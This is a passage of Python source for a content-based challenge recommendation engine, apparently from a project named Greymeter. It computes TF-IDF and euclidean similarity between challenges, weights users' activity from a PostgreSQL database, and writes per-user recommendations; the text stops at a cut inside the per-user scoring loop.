int res = q(a - 1, b - 1, c);
cout << res << "\n";
}
}
<file_sep>#include <bits/stdc++.h>
#define INF 987654321
#define MOD 1000000007
using namespace std;
typedef long long ll;
typedef pair<int, int> pii;
typedef pair<ll, ll> pll;
int a[1000001];
int main() {
ios_base::sync_with_stdio(0);
cin.tie(0);
int n;
cin >> n;
for (int i = 0; i < n; i++) cin >> a[i];
stack<int>st;
ll res = 0;
for (int i = 0; i < n; i++) {
while (!st.empty() && st.top() <= a[i]) {
int curr = st.top();
st.pop();
if (st.empty()) {
res += a[i];
break;
}
res += min(st.top(), a[i]);
}
st.push(a[i]);
}
while (st.size() != 1) {
st.pop();
res += st.top();
}
cout << res << "\n";
}
<file_sep>#include <bits/stdc++.h>
#define INF 987654321
#define MOD 1000000007
#define PI 3.141592653589793238462643383279502884e+00
using namespace std;
typedef long long ll;
typedef pair<int, int> pii;
typedef pair<ll, ll> pll;
int main() {
int n;
cin >> n;
vector<int> v;
for (int i = 0; i < n; i++) {
int a;
cin >> a;
v.push_back(a);
}
sort(v.begin(), v.end());
int res = 2e9 + 1;
int n1 = 0, n2 = 0;
for (int i = 0; i < n; i++) {
int l = 0, r = n - 1;
while (l <= r) {
int m = l + (r - l) / 2;
if (abs(v[m] + v[i]) < res && i != m) {
res = abs(v[m] + v[i]);
n1 = min(v[i], v[m]);
n2 = max(v[i], v[m]);
}
else if (v[i] + v[m] == 0) {
res = 0;
n1 = min(v[i], v[m]);
n2 = max(v[i], v[m]);
break;
}
else if (v[m] > -v[i]) r = m - 1;
else l = m + 1;
}
}
cout << n1 << " " << n2 << "\n";
}
<file_sep>#include <bits/stdc++.h>
#define INF 987654321
#define MOD 1000000007
using namespace std;
typedef long long ll;
typedef pair<int, int> pii;
typedef pair<ll, ll> pll;
pii a[100001];
int main() {
ios_base::sync_with_stdio(0);
cin.tie(0);
int n;
cin >> n;
for (int i = 0; i < n; i++) {
int x, y;
cin >> x >> y;
a[i].first = x - y;
a[i].second = x + y;
}
sort(a, a + n);
stack<pii> st;
for (int i = 0; i < n; i++) {
if (st.empty()) st.push({a[i].first, a[i].second});
else {
if (st.top().first == a[i].first) {
st.pop();
st.push({ a[i].first, a[i].second });
}
else if (st.top().second < a[i].second) st.push({ a[i].first, a[i].second });
}
}
cout << st.size() << "\n";
}
<file_sep>#include <bits/stdc++.h>
#define INF 987654321
#define MOD 1000000007
#define PI 3.141592653589793238462643383279502884e+00
using namespace std;
typedef long long ll;
typedef pair<int, int> pii;
typedef pair<ll, ll> pll;
int n, q;
int tree[2 << 19];
void add(int k, int x) {
k += n;
tree[k] = x;
for (k /= 2; k >= 1; k /= 2) {
tree[k] = min(tree[k * 2], tree[k * 2 + 1]);
}
}
int query(int a, int b) {
a += n;
b += n;
int res = 2e9;
while (a <= b) {
if (a % 2 == 1) res = min(res, tree[a++]);
if (b % 2 == 0) res = min(res, tree[b--]);
a /= 2, b /= 2;
}
return res;
}
int main() {
ios_base::sync_with_stdio(0);
cin.tie(0);
cin >> n >> q;
fill(tree, tree + (2 << 19), 2e9);
int sz = 1;
while (sz < n) sz *= 2;
for (int i = n; i < 2 * n; i++) {
int x;
cin >> x;
add(i - n, x);
}
for (int i = 0; i < q; i++) {
int a, b;
cin >> a >> b;
a--, b--;
cout << query(a, b) << "\n";
}
}
<file_sep>#include <bits/stdc++.h>
#define INF 987654321
#define MOD 1000000007
using namespace std;
typedef long long ll;
typedef pair<int, int> pii;
typedef pair<ll, ll> pll;
char grid[1001][1001];
int dp[1001][1001];
int main() {
ios_base::sync_with_stdio(0);
cin.tie(0);
int n;
cin >> n;
for (int i = 0; i < n; i++) {
for (int j = 0; j < n; j++) {
cin >> grid[i][j];
}
}
dp[0][1] = 1;
for (int i = 0; i < n; i++) {
for (int j = 0; j < n; j++) {
if (grid[i][j] != '*') {
dp[i + 1][j + 1] = dp[i][j + 1] + dp[i + 1][j];
dp[i + 1][j + 1] %= MOD;
}
}
}
cout << dp[n][n] << "\n";
}
<file_sep>#include <bits/stdc++.h>
#define INF 987654321
#define MOD 1000000007
using namespace std;
typedef long long ll;
typedef pair<int, int> pii;
typedef pair<ll, ll> pll;
int main() {
ios_base::sync_with_stdio(0);
cin.tie(0);
int n;
cin >> n;
vector<int> v;
for (int i = 0; i < n; i++) {
int x;
cin >> x;
auto it = lower_bound(v.begin(), v.end(), x);
if (it == v.end()) v.push_back(x);
else *it = x;
}
cout << v.size() << "\n";
}
<file_sep>#include <bits/stdc++.h>
#define INF 987654321
#define MOD 1000000007
using namespace std;
typedef long long ll;
typedef pair<int, int> pii;
typedef pair<ll, ll> pll;
int main() {
ios_base::sync_with_stdio(0);
cin.tie(0);
int t, n;
cin >> t >> n;
deque<pii> dq, dq2;
ll res = 0, l = 0;
for (int i = 1; i <= n; i++) {
ll x;
cin >> x;
while (!dq.empty() && dq.back().first >= x) dq.pop_back();
while (!dq2.empty() && dq2.back().first <= x) dq2.pop_back();
dq.push_back({ x, i });
dq2.push_back({ x, i });
while (abs(dq.front().first - dq2.front().first) > t) {
if (dq.front().second < dq2.front().second) {
l = dq.front().second;
dq.pop_front();
}
else {
l = dq2.front().second;
dq2.pop_front();
}
}
res = max(res, i - l);
}
cout << res << "\n";
}
<file_sep>#include <bits/stdc++.h>
#define INF 987654321
#define MOD 1000000007
using namespace std;
typedef long long ll;
typedef pair<int, int> pii;
typedef pair<ll, ll> pll;
pii a[200001];
int main() {
ios_base::sync_with_stdio(0);
cin.tie(0);
int n;
cin >> n;
for (int i = 0; i < n; i++) cin >> a[i].second >> a[i].first;
sort(a, a + n);
int here = a[0].first, res = 1;
for (int i = 1; i < n; i++) {
if (a[i].second >= here) {
here = a[i].first;
res++;
}
}
cout << res << "\n";
}
<file_sep>#include <bits/stdc++.h>
#define INF 987654321
#define MOD 1000000007
using namespace std;
typedef long long ll;
typedef pair<int, int> pii;
typedef pair<ll, ll> pll;
int main() {
ios_base::sync_with_stdio(0);
cin.tie(0);
string s;
cin >> s;
stack<int> st;
for (int i = 0; i < s.length(); i++) {
if (s[i] == 'A') {
if (s[i + 1] != 'P') {
cout << "NP\n";
return 0;
}
else {
i++;
for (int j = 0; j < 2; j++) {
if (st.empty()) {
cout << "NP\n";
return 0;
}
st.pop();
}
st.push(s[i]);
}
}
else st.push(s[i]);
}
if (st.size() == 1) cout << "PPAP\n";
else cout << "NP\n";
}
<file_sep>#include <bits/stdc++.h>
#define INF 987654321
#define MOD 1000000007
using namespace std;
typedef long long ll;
typedef pair<int, int> pii;
typedef pair<ll, ll> pll;
int main() {
ios_base::sync_with_stdio(0);
cin.tie(0);
int t;
cin >> t;
while (t--) {
int x, y, ma;
cin >> x >> y;
if (x > y) {
if (x % 2 == 0) cout << (ll)x * x - y + 1;
else cout << (ll)(x - 1) * (x - 1) + y;
}
else if (x < y) {
if (y % 2 == 1) cout << (ll)y * y - x + 1;
else cout << (ll)(y - 1) * (y - 1) + x;
}
else cout << (ll)x * x - x + 1;
cout << "\n";
}
}
<file_sep>#include <bits/stdc++.h>
#define INF 987654321
#define MOD 1000000007
using namespace std;
typedef long long ll;
typedef pair<int, int> pii;
typedef pair<ll, ll> pll;
ll t[200001];
int main() {
ios_base::sync_with_stdio(0);
cin.tie(0);
int n;
cin >> n;
for (int i = 0; i < n; i++) cin >> t[i];
sort(t, t + n);
ll res = 0;
for (int i = 0; i < n; i++) res += t[i];
cout << max(res, 2 * t[n - 1]) << "\n";
}
<file_sep>#include <bits/stdc++.h>
#define INF 987654321
#define MOD 1000000007
using namespace std;
typedef long long ll;
typedef pair<int, int> pii;
typedef pair<ll, ll> pll;
int main() {
ios_base::sync_with_stdio(0);
cin.tie(0);
int n;
cin >> n;
ll sum = 0;
for (int i = 1; i <= n; i++) sum += i;
if (sum % 2 == 1) cout << "NO\n";
else {
vector<int> a, b;
if (n % 2 == 0) {
for (int i = 1; i <= n; i++) {
if (i <= n / 4)a.push_back(i);
else if (i > n / 4 && i <= n * 3 / 4) b.push_back(i);
else a.push_back(i);
}
}
else {
a.push_back(1);
for (int i = 2, j = 0; i <= n; i++) {
if (a.size() == b.size()) j = 0;
else if (a.size() - b.size() == 2) j = 1;
if (j == 0) a.push_back(i);
else b.push_back(i);
}
}
cout << "YES\n";
cout << a.size() << "\n";
for (int i = 0; i < a.size(); i++) cout << a[i] << " ";
cout << "\n" << b.size() << "\n";
for (int i = 0; i < b.size(); i++) cout << b[i] << " ";
}
}
<file_sep>#include <bits/stdc++.h>
#define INF 987654321
#define MOD 1000000007
using namespace std;
typedef long long ll;
typedef pair<int, int> pii;
typedef pair<ll, ll> pll;
int main() {
ios_base::sync_with_stdio(0);
cin.tie(0);
int n;
cin >> n;
for (int i = 1; i <= n; i++) {
ll a = pow(i, 2) * (pow(i, 2) - 1) / 2;
ll b = 4 * (i - 1) * (i - 2);
cout << a - b << "\n";
}
}
<file_sep>#include <bits/stdc++.h>
#define INF 987654321
#define MOD 1000000007
#define PI 3.141592653589793238462643383279502884e+00
using namespace std;
typedef long long ll;
typedef pair<int, int> pii;
typedef pair<ll, ll> pll;
int n, m, sz = 1;
int tree[400001];
void add(int k, int x) {
k += sz;
tree[k] = x;
for (k /= 2; k >= 1; k /= 2) {
tree[k] = min(tree[k * 2], tree[k * 2 + 1]);
}
}
int q(int x, int y) {
x += sz, y += sz;
int res = 2e9;
while (x <= y) {
if (x % 2 == 1) res = min(res, tree[x++]);
if (y % 2 == 0) res = min(res, tree[y--]);
x /= 2, y /= 2;
}
return res;
}
int main() {
ios_base::sync_with_stdio(0);
cin.tie(0);
cin >> n;
fill(tree, tree + 400000, 2e9);
while (sz < n) sz *= 2;
for (int i = 0; i < n; i++) {
int a;
cin >> a;
add(i, a);
}
cin >> m;
for (int i = 0; i < m; i++) {
int x, y, z;
cin >> x >> y >> z;
if (x == 1) add(y - 1, z);
else cout << q(y - 1, z - 1) << "\n";
}
}
| ee0af171e0fac50c041560aa8c58150cd80d73ef | [
"Markdown",
"C++"
] | 83 | C++ | Linter97/Algorithm | 8e3d72466da715cf0399bc748eb3d3f6fbb892b3 | fdcc094fd7c327a3721d62bf7714f1029deccb8c |
refs/heads/master | <file_sep>Todo site precisa de um bom formulário de cadastro! Este repositório será utilizado para armazenar arquivos criados com focos em formulários de site, para aprimoramento e teste de novas formas de validações!
<file_sep>var nome = "<NAME>"
var idade = 29
var idade2 = 10
alert (nome + " tem " + idade + " anos ")
//alert(idade + idade2)
console.log(nome)
console.log(n1 * n2)
console.log(frase.toLowerCase())
| c445ed40d40a0c6fb50ef4b494a11a1421e8d4c7 | [
"Markdown",
"JavaScript"
] | 2 | Markdown | thaispll/Form | 73bab30b488fad41dc188e5a0fddbd5f59254618 | 9e11ba50a5762264d8614707eb494406e7c262f5 |
refs/heads/master | <file_sep>// pages/clo_detail/clo_detail.js
Page({
/**
* 页面的初始数据
*/
data: {
color_1: "",
color_2: "",
color_3: "",
color_4: "",
color_5: "",
color_6: "",
color_7: "",
color_8: "",
color_9: "",
color_10: "",
xize_1: "activeColor",
xize_2: "",
xize_3: "",
xize_4: "",
xize_5: "",
num : "1",
textDis : "block",
imgDis : 'none'
},
choseColor : function(e){
console.log(e);
var index = e.currentTarget.dataset.index;
var cc = this;
switch(index){
case 0:
cc.setData({ })
break;
case 1:
break;
}
this.setData({
color_1: "activeColor",
color_2: "",
color_3: "",
color_4: "",
color_5: ""
})
},
choseColor_2: function () {
this.setData({
color_1: "",
color_2: "activeColor",
color_3: "",
color_4: "",
color_5: ""
})
},
choseColor_3: function () {
this.setData({
color_1: "",
color_2: "",
color_3: "activeColor",
color_4: "",
color_5: ""
})
},
choseColor_4: function () {
this.setData({
color_1: "",
color_2: "",
color_3: "",
color_4: "activeColor",
color_5: ""
})
},
choseColor_5: function () {
this.setData({
color_1: "",
color_2: "",
color_3: "",
color_4: "",
color_5: "activeColor"
})
},
choseSize_1 : function(){
this.setData({
xize_1: "activeColor",
xize_2:"",
xize_3: "",
xize_4: "",
xize_5: ""
})
},
choseSize_2: function () {
this.setData({
xize_1: "",
xize_2: "activeColor",
xize_3: "",
xize_4: "",
xize_5: ""
})
},
choseSize_3: function () {
this.setData({
xize_1: "",
xize_2: "",
xize_3: "activeColor",
xize_4: "",
xize_5: ""
})
},
choseSize_4: function () {
this.setData({
xize_1: "",
xize_2: "",
xize_3: "",
xize_4: "activeColor",
xize_5: ""
})
},
choseSize_5: function () {
this.setData({
xize_1: "",
xize_2: "",
xize_3: "",
xize_4: "",
xize_5: "activeColor"
})
},
// 加
jia : function(){
var getNum = parseInt(this.data.num);
this.setData({ num : getNum+1 });
},
// 减
jian: function () {
var cc = this;
var getNum = parseInt(cc.data.num);
if( getNum > 1 ){
cc.setData({ num : getNum-1 });
}
},
showImg : function(){
this.setData({
textDis : "none",
imgDis : 'block'
})
},
addCart : function(){
wx.showToast({
title: '已加入购物车',
})
},
goBuy : function(){
console.log(111);
wx.navigateTo({
url: '../jiesuan/jiesuan',
})
},
/**
* 用户点击右上角分享
*/
onShareAppMessage: function () {
}
})<file_sep>// pages/myOrder/myOrder.js
Page({
/**
* 页面的初始数据
*/
data: {
left : "0"
},
show_1 : function(){
this.setData({ left : "0" })
},
show_2: function () {
this.setData({ left: "20%" })
},
show_3: function () {
this.setData({ left: "40%" })
},
show_4: function () {
this.setData({ left: "60%" })
},
show_5: function () {
this.setData({ left: "80%" })
},
goPay : function(){
wx.navigateTo({
url: '../jiesuan/jiesuan',
})
},
/**
* 用户点击右上角分享
*/
onShareAppMessage: function () {
}
})<file_sep>// pages/gift/gift.js
Page({
/**
* 页面的初始数据
*/
data: {
},
/**
* 用户点击右上角分享
*/
onShareAppMessage: function () {
}
})<file_sep>// pages/clothes/clothes.js
Page({
/**
* 页面的初始数据
*/
data: {
class_1 : "active",
class_2 : "",
class_3: "",
class_4: "",
class_5: "",
class_6: "",
class_7: "",
class_8: "",
class_9: ""
},
clo_1 : function(){
this.setData({
class_1: "active",
class_2: "",
class_3: "",
class_4: "",
class_5: "",
class_6: "",
class_7: "",
class_8: "",
class_9: ""
})
},
clo_2: function () {
this.setData({
class_1: "",
class_2: "active",
class_3: "",
class_4: "",
class_5: "",
class_6: "",
class_7: "",
class_8: "",
class_9: ""
})
},
clo_3: function () {
this.setData({
class_1: "",
class_2: "",
class_3: "active",
class_4: "",
class_5: "",
class_6: "",
class_7: "",
class_8: "",
class_9: ""
})
},
clo_4: function () {
this.setData({
class_1: "",
class_2: "",
class_3: "",
class_4: "active",
class_5: "",
class_6: "",
class_7: "",
class_8: "",
class_9: ""
})
},
clo_5: function () {
this.setData({
class_1: "",
class_2: "",
class_3: "",
class_4: "",
class_5: "active",
class_6: "",
class_7: "",
class_8: "",
class_9: ""
})
},
clo_6: function () {
this.setData({
class_1: "",
class_2: "",
class_3: "",
class_4: "",
class_5: "",
class_6: "active",
class_7: "",
class_8: "",
class_9: ""
})
},
clo_7: function () {
this.setData({
class_1: "",
class_2: "",
class_3: "",
class_4: "",
class_5: "",
class_6: "",
class_7: "active",
class_8: "",
class_9: ""
})
},
clo_8: function () {
this.setData({
class_1: "",
class_2: "",
class_3: "",
class_4: "",
class_5: "",
class_6: "",
class_7: "",
class_8: "active",
class_9: ""
})
},
clo_9: function () {
this.setData({
class_1: "",
class_2: "",
class_3: "",
class_4: "",
class_5: "",
class_6: "",
class_7: "",
class_8: "",
class_9: "active"
})
},
goChose : function(){
wx.redirectTo({
url: '../clo_chose/clo_chose',
})
},
/**
* 用户点击右上角分享
*/
onShareAppMessage: function () {
}
})<file_sep>//index.js
//获取应用实例
var app = getApp();
Page({
data: {
loginDis : "block",
afterDis : "none"
},
onLoad: function () {
},
// 跳转到申请会员页面
login : function(){
wx.navigateTo({
url: '../login/login',
})
this.setData({
loginDis: "none",
afterDis: "block"
});
},
// 跳转到在线商城页面
goOnlineShop : function(){
wx.navigateTo({
url: '../onlineShop/onlineShop',
})
},
// 跳转到我的订单
goMyOrder : function(){
wx.navigateTo({
url: '../myOrder/myOrder',
});
},
// 修改资料
goUser : function(){
wx.navigateTo({
url: '../user/user',
})
},
// 会员福利
goGift : function(){
wx.navigateTo({
url: '../gift/gift',
})
},
// 购物袋
goCart : function(){
wx.navigateTo({
url: '../cart/cart',
})
},
/**
* 用户点击右上角分享
*/
onShareAppMessage: function () {
}
})
<file_sep>// pages/order/order.js
Page({
/**
* 页面的初始数据
*/
data: {
},
back : function(){
wx.redirectTo({
url: '../onlineShop/onlineShop',
})
},
/**
* 用户点击右上角分享
*/
onShareAppMessage: function () {
}
})<file_sep># wx-wanwa
GAP小程序
<file_sep>// pages/clo_chose/clo_chose.js
Page({
/**
* 页面的初始数据
*/
data: {
},
goDetail : function(){
wx.navigateTo({
url: '../clo_detail/clo_detail',
})
},
/**
* 用户点击右上角分享
*/
onShareAppMessage: function () {
}
}) | 9e9c9e5caed9aeee01b8047baca3275ec45e9c8e | [
"JavaScript",
"Markdown"
] | 8 | JavaScript | 15123818757/wx-wanwa | 7cf68719cda09fc2a6446f1c00d448fcdada876f | 69361763bc3350c0783ca88cbd8abb06ba17d48c |
refs/heads/master | <repo_name>Rahul6818/Greymeter<file_sep>/rec_sys.py
from rec_sys_fun import db_connect, fetch_data, model_update, recommend,rec_per_user
def main():
conn = db_connect() # connection to database
data = fetch_data(conn) # fetch challenge data from database
similarity_model = model_update("model_run","stopwords",data,conn) # compute similarity model where arg are (file that contains the last_model_updatation_date,stopwords,data,conn)
# recommend(similarity_model,data,conn) # store recommendation into database
user_id = raw_input("User Id: ")
#this will store recommendation on database neither update recommendation_date on database
rec_per_user(user_id, similarity_model,data,conn)
if __name__ == '__main__':
main()
<file_sep>/RecSys_fun.py
import pytz
import psycopg2
import datetime
import operator
from datetime import datetime
from stemming.porter2 import stem
from string import digits
from sklearn.feature_extraction.text import CountVectorizer
from sklearn.feature_extraction.text import TfidfTransformer
from sklearn.metrics.pairwise import cosine_similarity
from sklearn.metrics.pairwise import euclidean_distances
import numpy as np
import operator
from sklearn.externals import joblib
from sklearn.preprocessing import normalize
utc = pytz.UTC
#cur_date = utc.localize(datetime.now())
localtz = pytz.timezone('Asia/Kolkata')
#cur_date = utc.localize(datetime.now())
def db_connect(): ####### connecting to database, returns a connection to database
try:
conn = psycopg2.connect("dbname='recommendationengine' user='postgres' host='localhost' password='<PASSWORD>'")
print("I am connected to pgsql database")
except:
print ("I am unable to connect to the database")
return conn
def removeHTML(s): # fucntion that removes HTML tages from a string/dcoument/text
i=0
temp="";
while(i<len(s)):
if(s[i] == '<'):
start = i
while(s[i] !='>'):
i = i+1
i=i+1
else:
temp = temp + s[i]
i = i+1
return temp
#extraChar = ["{","}","[","]",'"',":","(",")","\n",",","/","'",".","\\","~","`","!","@","#","%","^","&","*","-","_","+","=",";","?","<",">","|"]
def refineData(line,sw): # function that remove stopwords from text, does the stemming, replace non-ascii characters
extraChar = ["{","}","[","]",'"',":","(",")","\n",",","/","'",".","\\","~","`","!","@","#","%","^","&","*","-","_","+","=",";","?","<",">","|"]
line = line.lower()
for ec in extraChar:
line =line.replace(ec," ")
temp = ""
for w in line.split():
w = w.translate(None,digits)
w = ''.join([i if ord(i) < 128 else ' ' for i in w])
if(w == "y's"):
w = "y"
w = stem(w)
if(w not in sw):
temp = temp + " "+w
return temp
##### Euclidean distance between two challenge (most similar challenges will have least distance)
def distance(content_sim_dict,weight_vector,vect1, vect2,conn):
cur = conn.cursor()
id1=int(vect1[0]) #challenge1 id
id2=int(vect2[0]) #challenge2 id
cur.execute("select interests_id from challenges_challenge_interest where challenge_id="+str(id1)+" intersect select interests_id from challenges_challenge_interest where challenge_id="+str(id2)+";")
count = len(cur.fetchall()) # no. of interests matching between challenge1 & challenge2
text_sim= content_sim_dict[id1][id2]
vect1=np.append(vect1,text_sim) # appending text similarity to one of challenge atribute and keeping same attribute of other challenge to zero
vect2=np.append(vect2,0)
dist= euclidean_distances(vect1*weight_vector,vect2*weight_vector) # Euclidian distance b/w two vectors
return dist[0][0]+count*5 # adding weighted similarity of interests of challenges
def fetch_data(conn): ### fetch challenge_data from the database
cur = conn.cursor()
cur_date = utc.localize(datetime.now())
cur.execute("select id, description from challenges_challenge;")
temp = cur.fetchall() # temp array of challenge details
temp_chal=np.asarray(temp)
cur.execute("select challenge_id,interests_id from challenges_challenge_interest;")
tag= cur.fetchall() # array of challlenge interests
cur.execute("select id,greycoins,created,deadline,company_id,man_hour from challenges_challenge;")
vect=cur.fetchall()
# vect = [[x[0],x[1],x[2],x[3],x[4],x[5]] for x in cur.fetchall()]
vector=np.array(vect) # array contaning [challenge_id, greycoins, created, deadline,comapny_id, man_hour]
chal_ids =((np.array(temp_chal))[:,0]).tolist() # list of challenge ids
vector[:,[2]] = cur_date-vector[:,[2]] # vector[created] is replaced by (current date - created date)
vector[:,[3]] = vector[:,[3]]-cur_date # vector[deadline] is replaced by (deadline - current date)
for x in range(len(vector)): # converted above difference into seconds
vector[x,2] = vector[x,2].total_seconds()
vector[x,3] = vector[x,3].total_seconds()
lst=[i for i in range(1,len(vector[0]))]
vector[:,lst]=normalize(vector[:,lst],norm='l1',axis=0) #normalization of each column except id's column (sum of each normalized column equal to 1)
ret=[temp_chal[:,0],temp_chal[:,1],vector] # returns a list of challenge_id, challenge_description, array(id,greycoins,created,deadline,company_id,man_hour)
return ret
def need_update(last_update,conn): #check if database need to be updated (Time complexity: O(n), n is the number of challenges)
cur = conn.cursor()
update_model = False # Does model neeed to be updated
cur.execute("select updated from challenges_challenge")
update_date = [x[0] for x in cur.fetchall()]
model_run_file = open(last_update,"r") # model_run contains last updated date of similarity model
last_model_run = datetime.strptime((model_run_file.readlines())[0].replace("\n",""), "%Y-%m-%d %H:%M:%S.%f")
localtz = pytz.timezone('Asia/Kolkata')
#date_aware = localtz.localize(last_model_run)
for date in update_date:
# print date, localtz.localize(last_model_run), (date > localtz.localize(last_model_run))
# print (date - utc.localize(last_model_run))
if(date > utc.localize(last_model_run)): # compaing challenge update date with last model updated date
update_model = True
break
return update_model # returns boolean
def model_update(model_run,stop_words,fetched_data,conn): #update similarity model and store in similarity.pkl file and returns a similarity matrix (complexity:O(n*n))
cur = conn.cursor()
if(need_update(model_run,conn)):
# if(1): if you run for the 1st time there wont be any model and so no model_run file so create a model first
chal_ids = fetched_data[0] #challenge_ids array
temp_desc= fetched_data[1] #challenge_description
print "need to update"
sf = open(stop_words,"r")
stop_words = ['content'] # list of stopwords around 550 words
for w in sf:
w = w.replace("\n","")
stop_words.append(w.lower())
chal_des = [] # store chal_description after refining (remove HTML, stopwords and stemming)
for i in range(len(chal_ids)):
temp = removeHTML(temp_desc[i])
temp = refineData(temp,stop_words)
chal_des.append([chal_ids[i],temp])
np_chal = np.array(chal_des) # array of challlenge description
##################### conversion of challenge description into tf-idf vector form ####################
count_vect = CountVectorizer()
train_counts = count_vect.fit_transform(np_chal[:,1])
tfidf_transformer = TfidfTransformer()
train_tfidf = tfidf_transformer.fit_transform(train_counts)
#########################################################################################
ecl_sim = [] # [ M * M ] matrix that store euclidian_distance between one document and rest documents
for i in range(len(chal_des)):
sim = euclidean_distances(train_tfidf[i],train_tfidf)
sim = sim[0].tolist()
ecl_sim.append(sim)
content_sim_dict = {} # dictionary that store euclidian_distance between one document and rest documents
# content_sim_dict[chal_id] = {chal_idI:euclidean_distance(chal_id,chal_idI),..........} where chal_idI runs over all challeneges
for i in range(len(ecl_sim)): #complexity: O(n*n), n=no. of challenges
simI = ecl_sim[i]
for j in range(len(simI)):
content_sim_dict.setdefault(int(chal_ids[i]),{})
content_sim_dict[int(chal_ids[i])][int(chal_ids[j])] = simI[j]
vector=fetched_data[2] ##id,greycoins,created,deadline,company_id,man_hour, text similarity
weight_vector=np.array([0,15,7,7,25,5,41]) # weight of id,greycoins,created,deadline,company_id,man_hour, text similarity
#### distance_matrix is a dictionary with values again a dictionary (distance_matrix[id1][id2] will give distance between two challenges with id1 and id2)
distance_matrix={} # complexity: O(m*n), n=no. of challenges, m= no. of challenge attributes
for i in range(len(vector)): # storing similarity in distance_matrix dictionary
rowi=vector[i]
for j in range(len(vector)):
rowj=vector[j]
distance_matrix.setdefault(int(rowi[0]),{})
distance_matrix[int(rowi[0])][int(rowj[0])]=distance(content_sim_dict,weight_vector,rowi,rowj,conn)
joblib.dump(distance_matrix,"similarity_model.pkl") # storing the distance_matrix which our similarity model into a file
model_update = open(model_run,"w")
cur_timestamp = str((datetime.now()))
model_update.write(cur_timestamp ) # updating last modified date of model
return distance_matrix
# print "Updated"
else:
distance_matrix = joblib.load("similarity_model.pkl") # loading model from similarity_model.pkl
return distance_matrix
# print "No Need to Update"
def recommend(similarity_model, fetched_data,conn): #calculate recommendation for each user and stores in users_userprofile[recommendation]
chal_ids = fetched_data[0] # challenge_ids
vector=fetched_data[2] ##id,greycoins,created,deadline,company_id,man_hour, text similarity
cur = conn.cursor()
cur.execute("select distinct user_id from challenges_activity where activity_id<6 or activity_id>10 ;")
temp_act_users = cur.fetchall()
act_users = [x[0] for x in temp_act_users] # users that have user activity
act_wet={ # weighting of the user activity
11:0.285, # solution created
12:0.285, # solution edited
1:0.142, # viewed
2:0.238, # saved
3:0.190, # undo saved
4:0, # rejected
5:0.095 # undo rejected
}
temp_dist_mat = similarity_model # stored description similarity into a temp variable
cur.execute("select id from auth_user")
temp_user_ids = cur.fetchall()
user_ids = [x[0] for x in temp_user_ids] # user ids
for user in user_ids: # complexity: O(n*n), no. of challenges
cur.execute("select last_login,recommendation_date from auth_user,users_userprofile where auth_user.id=users_userprofile.user_id and user_id="+ str(user)+";")
login=cur.fetchall() # list[last_login, recommendation_date] for a user
should_rec = (len(login)>0)and ((login[0][1]==None) or ((login[0][0]!=None) and ( login[0][0] > login[0][1]))) #if either user is never recommended or last_login date of user > recommendation date
if(should_rec):
print "login by : "+ str(user)
score = {} # recommendation score
if(user in act_users): # if the user has user activity
cur.execute("select target_id,activity_id from challenges_activity where user_id="+ str(user)+"and ( activity_id<6 or activity_id>10) ;")
user_activity = cur.fetchall() # list of user activity [challenge_id, activity_id]
for chal_id,act_id in user_activity: # iterating over each challenge in activity and finding similar challenge
sim_chal = temp_dist_mat[chal_id] # dictionary of challenge similar to chal_id
if(chal_id in sim_chal): # delete the same challenge from similarity dictionary
del sim_chal[chal_id]
x = len(chal_ids)/20 # we will consider around top 20 challenges which higher similarity
threshold = (sim_chal[max(sim_chal,key=sim_chal.get)] + sim_chal[min(sim_chal,key=sim_chal.get)] )/float(x) # threshold level of similarity we will consider challenges below this threshold(euclidean distance)
for chal in sim_chal: # iterating over similar challenges
if(sim_chal[chal]<threshold):
if(chal in score):
score[int(chal)] = max( score[chal],(act_wet[act_id] *(1/ (sim_chal[chal]+1) ))) # take best score
else:
score[int(chal)] = act_wet[act_id] *(1/ (sim_chal[chal]+1) )
else: # user has no activity
for chal in chal_ids:
score[int(chal)] = 1
for Idd in score.keys(): #updating scores of challenges, iterating over whole list of challenges
Id = int(Idd)
ls=np.where(vector[:,0]==Id)[0][0] #challenge_vector with given challenge_id
cur.execute("select interests_id from users_userprofile, users_userprofile_interests where user_id="+str(user)+" and users_userprofile.id=users_userprofile_interests.userprofile_id intersect select interests_id from challenges_challenge_interest where challenge_id="+str(Id)+";")
tags_matching =len(cur.fetchall()) # no. of matching interests of a user and a challenge
score[Id]=score[Id]*vector[ls][2]*vector[ls][3]+tags_matching # updating score
sorted_score = sorted(score.items(), key=operator.itemgetter(1), reverse=True)# sorted scores
recChal = [x[0] for x in sorted_score] # list of recommended challenges in sorted order of their recommendation scor
recStr = "" # comma seperated string of recommended challenge_ids
for i in range(0,len(recChal)):
recStr = recStr+str(recChal[i])+","
temp_time = str(utc.localize((datetime.now())))
# print "update recommendation: " + temp_time +" ,UTC: " + str(datetime.now())
query = "update users_userprofile set(recommendation,recommendation_date) = ( '"+ recStr[:-1] +"', '"+temp_time +"') where user_id="+ str(user) +";"
cur.execute(query)
conn.commit()
######################################################################### recommedation for a user ##############################################
def rec_per_user(user_id, similarity_model, fetched_data,conn): #order O(n*m) , n=no. of challenges in user activity, m=no. of total challenges
chal_ids = fetched_data[0] # challenge_ids
vector=fetched_data[2] ##id,greycoins,created,deadline,company_id,man_hour, text similarity
cur = conn.cursor()
act_wet={ # weighting of the user activity
11:0.285, # solution created
12:0.285, # solution edited
1:0.142, # viewed
2:0.238, # saved
3:0.190, # undo saved
4:0, # rejected
5:0.095 # undo rejected
}
temp_dist_mat = similarity_model # stored description similarity into a temp variable
# cur.execute("select last_login,recommendation_date from auth_user,users_userprofile where auth_user.id=users_userprofile.user_id and user_id="+ str(user_id)+";")
# login=cur.fetchall() # list[last_login, recommendation_date] for a user
# should_rec = (len(login)>0)and ((login[0][1]==None) or ((login[0][0]!=None) and ( login[0][0] > login[0][1]))) #if either user is never recommended or last_login date of user > recommendation date
# if(should_rec):
if(1): #order O(n*m) , n=no. of challenges in user activity, m=no. of total challenges
# print "login by : "+ str(user_id)
score = {} # recommendation score
cur.execute("select target_id,activity_id from challenges_activity where user_id="+ str(user_id)+"and ( activity_id<6 or activity_id>10) ;")
user_activity = cur.fetchall() # list of user activity [challenge_id, activity_id]
if(len(user_activity)>0): # if the user has user activity
for chal_id,act_id in user_activity: # iterating over each challenge in activity and finding similar challenge
sim_chal = temp_dist_mat[chal_id] # dictionary of challenge similar to chal_id
if(chal_id in sim_chal): # delete the same challenge from similarity dictionary
del sim_chal[chal_id]
x = len(chal_ids)/20 # we will consider around top 20 challenges which higher similarity
threshold = (sim_chal[max(sim_chal,key=sim_chal.get)] + sim_chal[min(sim_chal,key=sim_chal.get)] )/float(x) # threshold level of similarity we will consider challenges below this threshold(euclidean distance)
for chal in sim_chal: # iterating over similar challenges
if(sim_chal[chal]<threshold):
if(chal in score):
